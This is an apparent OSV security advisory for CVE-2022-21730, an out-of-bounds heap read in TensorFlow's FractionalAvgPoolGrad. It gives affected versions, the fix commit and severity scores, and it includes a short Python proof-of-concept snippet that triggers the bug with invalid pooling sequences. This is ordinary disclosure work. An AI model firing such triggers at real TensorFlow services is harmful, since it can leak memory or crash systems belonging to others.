id: PYSEC-2026-3247
published: "2026-07-09T16:49:39.227351Z"
modified: "2026-07-13T16:07:15.190674Z"
aliases:
- CVE-2022-21730
- GHSA-vjg4-v33c-ggc4
summary: Out of bounds read in Tensorflow
details: "### Impact \nThe [implementation of `FractionalAvgPoolGrad`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360) does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  y = tf.raw_ops.FractionalAvgPoolGrad(\n    orig_input_tensor_shape=[2,2,2,2],\n    out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],\n    row_pooling_sequence=[-10,1,2,3],\n    col_pooling_sequence=[1,2,3,4],\n    overlapping=True)\n  return y\n    \ntest()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [002408c3696b173863228223d535f9de72a101a9](https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team."
affected:
- package:
    name: tensorflow
    ecosystem: PyPI
    purl: pkg:pypi/tensorflow
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 2.5.3
    - introduced: 2.6.0
    - fixed: 2.6.3
    - introduced: 2.7.0
    - fixed: 2.7.1
  versions:
  - 2.7.0
  - 0.12.0
  - 0.12.1
  - 1.0.0
  - 1.0.1
  - 1.1.0
  - 1.10.0
  - 1.10.1
  - 1.11.0
  - 1.12.0
  - 1.12.2
  - 1.12.3
  - 1.13.1
  - 1.13.2
  - 1.14.0
  - 1.15.0
  - 1.15.2
  - 1.15.3
  - 1.15.4
  - 1.15.5
  - 1.2.0
  - 1.2.1
  - 1.3.0
  - 1.4.0
  - 1.4.1
  - 1.5.0
  - 1.5.1
  - 1.6.0
  - 1.7.0
  - 1.7.1
  - 1.8.0
  - 1.9.0
  - 2.0.0
  - 2.0.1
  - 2.0.2
  - 2.0.3
  - 2.0.4
  - 2.1.0
  - 2.1.1
  - 2.1.2
  - 2.1.3
  - 2.1.4
  - 2.2.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - 2.3.0
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.3.4
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.4.3
  - 2.4.4
  - 2.5.0
  - 2.5.1
  - 2.5.2
  - 2.6.0
  - 2.6.1
  - 2.6.2
references:
- type: WEB
  url: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vjg4-v33c-ggc4
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2022-21730
- type: WEB
  url: https://github.com/tensorflow/tensorflow/commit/002408c3696b173863228223d535f9de72a101a9
- type: WEB
  url: https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-54.yaml
- type: WEB
  url: https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-109.yaml
- type: PACKAGE
  url: https://github.com/tensorflow/tensorflow
- type: WEB
  url: "https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/fractional_avg_pool_op.cc#L209-L360"
- type: PACKAGE
  url: https://pypi.org/project/tensorflow
- type: ADVISORY
  url: https://github.com/advisories/GHSA-vjg4-v33c-ggc4
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H
- type: CVSS_V4
  score: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N